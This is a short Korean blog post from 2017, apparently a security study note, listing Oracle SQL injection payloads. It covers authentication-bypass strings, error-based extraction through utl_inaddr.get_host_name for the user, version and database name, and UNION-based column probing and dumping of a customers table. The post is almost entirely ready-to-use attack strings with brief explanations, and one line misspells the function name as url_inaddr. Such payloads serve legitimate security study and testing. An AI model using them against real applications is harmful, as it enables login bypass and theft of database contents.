2017. 5. 14.

[웹 취약점] SQL 인젝션 -3 (Oracle)

<<Oracle SQL 인젝션>>

1. 인증 우회
- or 'abc'='abc'
- or 'ab'='a'+'b'
- or 2>1
- or 1=1

#주석문 이용 우회
'--
)'--
';--

2. 에러 기반

- 싱글 쿼터 ('), -- 주석 삽입
- 'and 1='a' 또는 'and 1/'a' 삽입

# 사용자 정보 확인
' and 1=utl_inaddr.get_host_name(user)--

# 버전 정보
' and 1=utl_inaddr.get_host_name((select banner from v$version where rownum=1))--
' and 1=utl_inaddr.get_host_name((select banner from v$instance where rownum=1))--

# 현재 데이터베이스 정보
' and 1=url_inaddr.get_host_name((select name from v$database))--

3. Union 구문 기법
기존 어플리케이션 조회 결과 외에 주요 정보를 함께 조회하여 내부 데이터 획득하기 위함

SQL 결과를 병합하기 위해서는 조회하는 데이터의 형태가 동일하여야 하므로 ('UNION SELECT 'test', null, null from dual--) Union을 이용하여 취약한 어플리케이션의 데이터 형을 획득

' union select 'test', null, null, null from dual--
' union select 'test', 1, null, null from dual--
' union select 'test', 1, test, null from dual--

획득한 데이터 형을  이용하여 데이터 출력하기

' and 1=0 union select userid,first_name,second_name,null from customers--


# 참고
  • http://lsybongbong.tistory.com/entry/%EB%AA%A8%EC%9D%98%ED%95%B4%ED%82%B9-SQL-Injection-%EC%A0%95%EB%A6%AC

Popular Posts

Recent Posts

Powered by Blogger.